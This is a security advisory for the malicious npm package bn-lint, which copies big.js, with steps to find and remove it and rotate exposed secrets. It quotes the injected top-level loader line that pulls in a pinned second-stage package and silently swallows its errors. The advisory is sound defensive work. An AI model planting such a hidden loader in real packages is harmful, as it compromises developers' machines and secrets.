MAL-2026-6376 Malicious code in bn-lint (npm)
Malicious package
Published
MAL-2026-6376 is a malicious package: bn-lint (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6376/ (Markdown: https://insights.sbomify.com/MAL-2026-6376/index.md)
- Package
- bn-lint
- Registry
- npm
What is MAL-2026-6376?
MAL-2026-6376 is a malicious package in bn-lint, published on 24 Jun 2026.
Official description
Package is published as 'bn-lint' but ships a verbatim copy of MikeMcl/big.js (README, source, version banner v7.0.1, and repo URL all identify as big.js). Both entrypoints, big.js and big.mjs, have been modified at lines 605-606 to inject
const helper = require("ts-bn-lint-helper"); helper.from_str().then(e => e).catch(e => { }); at module top level. Any require('bn-lint') or import of the package immediately loads and invokes the separately-published, pinned [email protected] (declared in package.json line 58). The .then(e => e).catch(e => { }) wrapping silently swallows both resolution and rejection values, suppressing logs, thrown errors, and rejected promises so the secondary payload's execution is invisible to a developer using what they believe to be a big.js arithmetic library. The combination of impersonated identity, top-level loader injection into an otherwise unrelated arithmetic library, a pinned untrusted second-stage dependency, and deliberate error suppression is consistent with a typosquat-with-payload supply-chain attack rather than a legitimate fork.What should I do about MAL-2026-6376?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.